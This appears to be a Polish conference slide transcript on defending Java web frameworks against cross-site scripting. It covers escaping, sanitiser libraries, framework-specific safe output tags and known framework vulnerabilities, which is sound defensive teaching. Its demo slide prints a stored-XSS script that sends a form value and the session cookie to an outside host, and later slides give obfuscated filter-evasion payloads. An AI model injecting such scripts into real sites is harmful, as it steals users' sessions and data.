Bezpieczeństwo frameworków WEBowych Java na przykładzie ataku XSS



Podobne dokumenty
Aplikacje webowe w obliczu ataków internetowych na przykładzie CodeIgniter Framework

Bezpieczeństwo frameworków WEBowych Java na przykładzie ataku CSRF

OWASP OWASP. The OWASP Foundation Cross-Site Scripting. Ryzyko do zaakceptowania? Warszawa, 27 stycznia 2011 Michał Kurek

Obrona przed SQL-injection w aplikacjach Java/JEE

Ataki na aplikacje WWW. Łomem, czy wytrychem? Jak dobrać się do aplikacji WWW

Zagrożenia związane z udostępnianiem aplikacji w sieci Internet

OWASP i Top 10 Sposób tworzenia Top 10 Czym jest a czym NIE jest Top 10? Zmiany w wersji 2013 Omówienie nowych podatności na liście Podsumowanie

Architektura bezpiecznych aplikacji internetowych na platformie Java Enterprise Edition. Jakub Grabowski Warszawa,

Przykłady tworzenia aplikacji komponentowych w technologii JavaServer Faces 2.1 na podstawie

Aspekty bezpieczeństwa aplikacji internetowych

Drobne błędy w portalach WWW

Poznań Java User Group Java Server Faces. Wprowadzenie (Fakty i Mity)

Narzędzia OWASP dla developerów OWASP ESAPI & AppSensor OWASP The OWASP Foundation

Web Application Firewall - potrzeba, rozwiązania, kryteria ewaluacji.

Java Server Faces - wprowadzenie

OpenLaszlo. OpenLaszlo

SQL z perspektywy hakera - czy Twoje dane są bezpieczne? Krzysztof Bińkowski MCT,CEI,CEH,ECSA,ECIH,CLFE,MCSA,MCSE..

Zaawansowane aplikacje internetowe

Projektowani Systemów Inf.

Ewolucja projektowania aplikacji w PHP na bazie frameworka Symfony 2

Flex 3. Piotr Strzelczyk Wydział EAIiE Katedra Automatyki. Kraków, 2008

ATAKI TYPU CROSS-SITE SCRIPTING

Wstęp Budowa Serwlety JSP Podsumowanie. Tomcat. Kotwasiński. 1 grudnia 2008

Protokół HTTP. 1. Protokół HTTP, usługi www, model request-response (żądanie-odpowiedź), przekazywanie argumentów, AJAX.

Opis Przedmiotu Zamówienia na przeprowadzenie testów bezpieczeństwa systemu wspomagania nadzoru archiwalnego e-nadzór

FRONT-END SECURITY SZYMON GRZYBOWSKI NSENSE POLSKA S.A.

Wykrywanie i analiza złośliwych stron WWW. Łukasz Juszczyk CERT Polska/NASK lukasz.juszczyk@cert.pl

Webapplication Security Pentest Service

OWASP. The Open Web Application Security Project. OWASP Top rc1. Dziesięć najbardziej krytycznych zagrożeń w web aplikacjach

The OWASP Foundation Session Management. Sławomir Rozbicki.

Przygotowanie do nowoczesnego programowania po stronie przeglądarki. (HTML5, CSS3, JS, wzorce, architektura, narzędzia)

Web frameworks do budowy aplikacji zgodnych z J2EE

Client-side Hacking - wprowadzenie w tematykę ataków na klienta. Radosław Wal radoslaw.wal@clico.pl

Zagadnienia Programowania Obiektowego Agata Hejmej

Wprowadzenie do kryptografii i bezpieczeństwa. Po raz czwarty

Bezpieczeństwo aplikacji. internetowych. 2. Szkolenie dla administratorów stron internetowych hufców Śląskiej Chorągwi ZHP

Java Enterprise Edition spotkanie nr 1. Sprawy organizacyjne, wprowadzenie

Analiza skuteczności zabezpieczeń przed atakami na aplikacje Web

Gerard Frankowski, Zespół Bezpieczeństwa PCSS. Nowoczesne technologie bliżej nas Poznań,

Oracle Application Express

Wybrane działy Informatyki Stosowanej

Aplikacje internetowe oparte na kluczowych technologiach Java Enterprise(Servlet,JSP,JDBC, )

ANGULARJS TWORZENIE APLIKACJI INTERNETOWYCH

Nowoczesne aplikacje internetowe oparte na Seam, JSF, EJB3, JPA, AJAX

Języki skryptowe - PHP. PHP i bazy danych. Paweł Kasprowski. pawel@kasprowski.pl. vl07

Application Security Verification Standard. Wojciech Dworakowski, SecuRing

Scenariusz Web Design DHTML na 10 sesji. - Strony statyczne I dynamiczne. - Dodawanie kodu VBScript do strony HTML. Rysunek nie jest potrzebny

Materiały oryginalne: ZAWWW-2st1.2-l11.tresc-1.0kolor.pdf. Materiały poprawione

HTML, CSS i JavaScript / Laura Lemay, Rafe Colburn, Jennifer Kyrnin. Gliwice, cop Spis treści

Czym jest AJAX. AJAX wprowadzenie. Obiekt XMLHttpRequest (XHR) Niezbędne narzędzia. Standardowy XHR. XHR z obsługą baz danych

SPRING FRAMEWORK. dr inż. Jakub Chłapioski

Programowanie Komponentowe WebAPI

Programowanie internetowe

Tworzenie aplikacji Web Alicja Zwiewka. Page 1

Zarządzanie sesją w aplikacjach Internetowych. Kraków, Paweł Goleń

Extensible Markup Language (XML) Wrocław, Java - technologie zaawansowane

Bezpieczeństwo aplikacji internetowych

Plan wykładu. 1. Protokół FTP. 2. Protokół HTTP, usługi www, model request-response (żądanie-odpowiedź), przekazywanie argumentów, AJAX.

Zagrożenia trywialne. Zagrożenia bezpieczeństwa aplikacji internetowych. Parametry ukryte. Modyfikowanie parametrów wywołania

1 Wprowadzenie do J2EE

Bazy i Systemy Bankowe Sp. z o.o. ul. Kasprzaka 3, Bydgoszcz

Kurs rozszerzony języka Python

AJAX w aplikacjach webowych: zalety, wyzwania, typowe problemy. Andrzej Bednarz Wrocław,

Aplikacje WWW - laboratorium

BEAN VALIDATION. Waldemar Korłub. Narzędzia i aplikacje Java EE KASK ETI Politechnika Gdańska

ASP.NET MVC. Grzegorz Caban 20 stycznia 2009

Badania poziomu bezpieczeństwa portalu dostępowego do infrastruktury projektu PL-Grid

Szczegółowy opis zamówienia:

Budowa nowoczesnej aplikacji SPA z wykorzystaniem biblioteki Ember.js

Open(Source) Web Application Security Project

Hybrydowe aplikacje webowe

Szkolenie wycofane z oferty

TECHNOLOGIE SIECI WEB

PLAN WYNIKOWY PROGRAMOWANIE APLIKACJI INTERNETOWYCH. KL III TI 4 godziny tygodniowo (4x30 tygodni =120 godzin ),

JAVA EE MODEL APLIKACJI. Waldemar Korłub. Narzędzia i aplikacje Java EE KASK ETI Politechnika Gdańska

Architektura komunikacji

Fuzzing OWASP The OWASP Foundation Piotr Łaskawiec J2EE Developer/Pentester

Zaawansowane aplikacje internetowe - laboratorium Architektura Spring.

Pixy - analiza statyczna skryptów PHP

Zajęcia 4 - Wprowadzenie do Javascript

Tworzenie stron internetowych z wykorzystaniem HTM5, JavaScript, CSS3 i jquery. Łukasz Bartczuk

Jak efektywnie wykrywać podatności bezpieczeństwa w aplikacjach? OWASP The OWASP Foundation

Instrukcja obsługi User s manual

Bezpieczeństwo systemów internetowych

Aplikacje WWW - laboratorium

Ajax a bezpieczeństwo aplikacji webowych. Jakub Wierzgała

Testy penetracyjne webaplikacji.

Załącznik 2 utworzenie projektu

Architektury Usług Internetowych. Laboratorium 1 Servlety

Hosting WWW Bezpieczeństwo hostingu WWW. Dr Michał Tanaś (

Szkolenie wycofane z oferty. Program szkolenia: Enterprise Java Beans 3.0/3.1

Forum Client - Spring in Swing

Zastosowanie darmowych rozwiązań do testów użyteczności aplikacji internetowych

JSF 1.2. w wykonaniu NetBeans IDE 6.1. Jacek Laskowski

Programowanie w Sieci Internet JSP ciąg dalszy. Kraków, 9 stycznia 2015 r. mgr Piotr Rytko Wydział Matematyki i Informatyki

Bezpieczeństwo aplikacji Czy musi być aż tak źle? OWASP The OWASP Foundation

Programowanie w internecie nazwa przedmiotu SYLABUS A. Informacje ogólne

Transkrypt:

Bezpieczeństwo frameworków WEBowych Java na przykładzie ataku XSS

O mnie 12 lat doświadczenia w systemach WEB Developer, Technical Leader, Project Manager Java/JEE (ISC)2 CISSP CTO w J-LABS

Dygresja

Dygresja Jak sądzicie ilu developerów aplikacji WEB wie co to jest XSS?

Dygresja Jak sądzicie ilu developerów aplikacji WEB wie co to jest XSS? 50% wie

Dygresja Jak sądzicie ilu developerów aplikacji WEB wie co to jest XSS? 50% wie z nich 50% wie jak się zabezpieczyć

Dygresja 2 A jak się sobie radzicie z XSS w waszym projekcie?

Dygresja 2 A jak się sobie radzicie z XSS w waszym projekcie? Mamy bibliotekę / framework XXX, który nas przed tym chroni

Dygresja 2 A jak się sobie radzicie z XSS w waszym projekcie? Mamy bibliotekę / framework XXX, który nas przed tym chroni W sumie to nie wiem, ale chyba NIC nie robimy

Dygresja 2 A jak się sobie radzicie z XSS w waszym projekcie? Mamy bibliotekę / framework XXX, który nas przed tym chroni W sumie to nie wiem, ale chyba NIC nie robimy Zadbał o to nasz tech/team leader wiec ja nie musze nic robić

XSS? Co to jest XSS?

XSS - definicja Dotyczy serwisów WWW Wykonanie skryptu JavaScript ale także ActiveX, Flash czy Silverlight Wykonanie w przeglądarce

XSS - rodzaje Persistent Non-persistent (reflected)

Persistent Kod przechowywany na serwerze

Non-persistent (reflected) Kod przesyłany przez atakującego do ofiary (np. w URL)

Demo Persistent XSS

Co się stało Persistent XSS ukryty w opisie Opis <script type='text/javascript'> function donastything() { var inputfield = getinputfield(); var secretvalue = 'amount=' + inputfield.value + '_' + readcookie('jsessionid'); var path = 'http://host/file_' + secretvalue + '.jpg'; httpget(path); } function httpget(path) { var xmlhttp = new XMLHttpRequest(); xmlhttp.open('get', path, false); }... </script> dalszy opis...

Co się stało Dane przesłane jako próba wczytania JPG http://www.j-labs.pl/file_amount=47_ JSESSIONID=AS348AF929FK219CKA9FK3B79870H.jpg

Jak może być groźny XSS OWASP top 10 miejsce 2

Jak może być groźny XSS OWASP top 10 miejsce 2 Pozwala na: kradzież, zmianę cookies przejecie sesji kradzież konta zmiana zawartości strony odczyt zawartości strony kradzież danych ataki DOS itd..

Jak może być groźny XSS OWASP top 10 miejsce 2 Pozwala na: kradzież, zmianę cookies przejecie sesji kradzież konta zmiana zawartości strony odczyt zawartości strony kradzież danych ataki DOS itd.. SamyWorm, 2005: używający XSS, w 24h zainfekował milion profili w MySpace.

Skala zjawiska Web Hacking Incident Database for 2011 (WHID) (z: http://www.acunetix.com/websitesecurity/cross-site-scripting.htm)

Jak się zabezpieczyć

Jak się zabezpieczyć Filtrowanie danych wejściowych?

Jak się zabezpieczyć Filtrowanie danych wejściowych? Escapowanie danych wyświetlanych?

Filtrowanie danych wejściowych? Co z np. <IMG SRC=j&#X41vascript:alert('test2')>? <IMG SRC=javascript :alert(&#39;xss&#39;)>

Filtrowanie danych wejściowych? Co z np. <IMG SRC=j&#X41vascript:alert('test2')>? <IMG SRC=javascript :alert(&#39;xss&#39;)> A jeśli użytkownicy chcą wpisywać dowolne znaki?

Filtrowanie danych wejściowych? Co z np. <IMG SRC=j&#X41vascript:alert('test2')>? <IMG SRC=javascript :alert(&#39;xss&#39;)> A jeśli użytkownicy chcą wpisywać dowolne znaki? Co z systemami powiązanymi?

Filtrowanie danych wejściowych? Co z np. <IMG SRC=j&#X41vascript:alert('test2')>? <IMG SRC=javascript :alert(&#39;xss&#39;)> A jeśli użytkownicy chcą wpisywać dowolne znaki? Co z systemami powiązanymi? Połączone podatności np. < scr ipt>

Filtrowanie danych wejściowych? Filtrować czy nie? Jest sens?

Filtrowanie danych wejściowych? Filtrować czy nie? Jest sens? TAK walidacja danych, poprawność danych utrudniamy ataki nie tylko XSS

Escapowanie & & < < > > " &apos;

Escapowanie Komunikaty o błędach E-maile w HTMLu Escapowanie do odpowiedniego kontekstu: JavaSrcipt, CSS, HTML

Sanityzacja Czyli escapowanie na wejściu oraz & < > " w bazie danych

Escapowanie???

Zawansowane techniki HTML DOM White list - tylko dozwolone tagi DOM HTML

Jsoup http://jsoup.org/cookbook/cleaning-html/whitelist-sanitizer Aktywnie rozwijany Parsuje HTML do DOM White list Maven2 org.jsoup:jsoup

HDIV http://www.hdiv.org/ Wspiera Strutsy 1.x, 2.x, Spring MVC, JSF Własne tagi dla różnych frameworków

XssProtect http://code.google.com/p/xssprotect/ Buduje drzewo DOM i czyści Ostatnia aktualizacja 2008

OWASP AntiSamy http://code.google.com/p/owaspantisamy/ Parsuje HTML do DOM White list Maven2 org.owasp.antisamy:antisamy

OWASP ESAPI Zawansowane narzędzie - nie tylko XSS Maven2 org.owasp.esapi:esapi Słaba dokumentacja

Zabezpieczanie - zasady ogólne Zabezpieczenie to rola developera White list Wszystkie wejścia do systemu: formatki, nagłówki, ciasteczka, systemy zewnętrzne (WS, RMI, Corba, JMS itd.), import/upload plików Ustawić kodowanie dla stron

Zabezpieczanie - zasady ogólne Walidacja po stronie serwera Bug traq weryfikacja podatności frameworka Escapowanie wszędzie także na stronach opisujących błędy (częsty wektor ataku) Mechanizmy frameworka (np. tagliby) nie scriptlety Escapowanie do odpowiedniego kontekstu (HTML, CSS, JavaScript)

Temat aaa aaa aaa aaa

JSP NIE używać skryptletów <%= pagecontext.getattribute("mytest") %> <%= request.getparameter("username") %> NIE używać JSP expressions poza tagami ${somevalue} Używać c.out i podobnych <c:out value="${book.title}"/>

Struts Zasady jak dla JSP Struts 1 bean:write <bean:write name="name" property="prop"/> Struts 2 c:out, s:property <c:out value="${book.title}"/> <s:property value="message"/>

JSF Używać: <h:outputtext/> i <h:outputlabel/> <h:outputlink value="#{bean.prop}" /> Poza tagami #{user.text} jest bezpieczny dla JSF >= 2.0 Kontrolki (ver. 1.2) nie są escapowane atrybut image <h:commandbutton> atrybut src <h:graphicimage>

Seam Zasady jak dla JSF

GWT Uwaga na kontrolki nie ma escapowania: z metodami: setinnerhtml, sethtml typu HTML settext i setinnertext są bezpieczne Trzeba być czujnym

GWT safehtml com.google.gwt.safehtml do sanityzacji i escepowania Wspiera sanityzację HTMLi (SimpleHtmlSanitizer) budowanie bezpiecznych HTML'i (SafeHtmlBuilder) bezpieczne templaty (SafeHtmlTemplates) metody do escapowania ręcznego (SafeHtmlUtils)

Vaadin Bazuje na GWT więc zasady jak dla GWT

Tapestry Tapestry does a great job on these issue; XSS is virtually impossible, as all output generated by Tapestry is "filtered" unless you specifically ask Tapestry not to (http://tapestryjava.blogspot.com/2009/02/better-webframework-tapestrys-response.html). Bezpieczne ${message} <t:output format="defaultformat" value="message"/> Nie bezpieczne <t:output format= format" value= msg" filter="false"/> <t:outputraw value="message"/>

Stripes Zasady jak dla JSP XSSInterceptor (Servlet API Filter) Escapuje przychodzące dane Może czasem nie używałbym

Spring MVC Default escape - false Włączenie globalne w web.xml <web-app...> <context-param> <param-name>defaulthtmlescape</param-name> <param-value>true</param-value> </context-param>... </web-app> Włączenie na stronie <spring:htmlescape defaulthtmlescape="true" />

Wicket Automatyczne zabezpieczenie poprzez escapowanie danych wprowadzonych przez użytkownika Dużo podatności

Podatności w frameworkach

Podatności w frameworkach - przykłady Struts na error page (brak escapowania) w 1.2.7, 1.2.4, 1.1, 1.0.x i ponownie <2.2.3. Apache Struts 2 framework before version 2.2.3 is vulnerable to reflected cross site scripting attacks when default XWork generated error messages are displayed. Wiecej: http://www.cvedetails.com/vulnerability-list/vendor_id- 45/product_id-6117/Apache-Struts.html JSF MyFaces Remote exploitation of an input validation vulnerability in Apache Software Foundation's MyFaces Tomahawk JSF framework could allow an attacker to perform a cross-site scripting (XSS) attack.

Podatności w frameworkach - przykłady Wicket, wersja 1.4.x With multi window support application configuration and special query parameters it is possible to execute any kind of JavaScript on a site running with the affected versions. 1.4.x. Vaadin, wersja <6.4.9 Cross-site scripting (XSS) vulnerability in Vaadin before 6.4.9 allows remote attackers to inject arbitrary web script or HTML via unknown vectors related to the index page.

Linkowisko https://www.owasp.org/index.php/cross-site_scripting_%28xss%29 http://www.howtocreate.co.uk/crosssite.html https://www.owasp.org/index.php/dom_based_xss https://www.owasp.org/index.php/top_10_2010-main http://en.wikipedia.org/wiki/character_encodings_in_html http://en.wikipedia.org/wiki/html_sanitization http://owasp-esapi-java.googlecode.com/svn/trunk_doc/latest/org/owasp/esapi/encoder.html http://owasp-esapi-java.googlecode.com/svn/trunk_doc/latest/org/owasp/esapi/validator.html http://stackoverflow.com/questions/7771949/cout-nested-inside-element-attribute https://www.owasp.org/images/b/be/a_gap_analysis_of_application_security_in_struts2.pdf http://www.mkyong.com/jsf2/jsf-2-outputtext-example/ http://stackoverflow.com/questions/4430743/what-are-the-security-concerns-for-jsf http://seamframework.org/documentation/crosssitescripting http://docs.jboss.com/seam/latest/reference/en-us/html/text.html http://code.google.com/p/gwt-examples/wiki/safehtml http://www.javabeat.net/examples/2010/11/30/spring-html-escape-and-escape-body-tagsspringhtmlescape-and-springescapebody/ http://www.hacktics.com/fradvisories2.html http://wiki.apache.org/struts/strutsxssvulnerability

www.j-labs.pl Dziękuje Piotr Bucki piotr.bucki@j-labs.pl Podziękowania za pomoc w przygotowaniu dla: Witold Zegarowski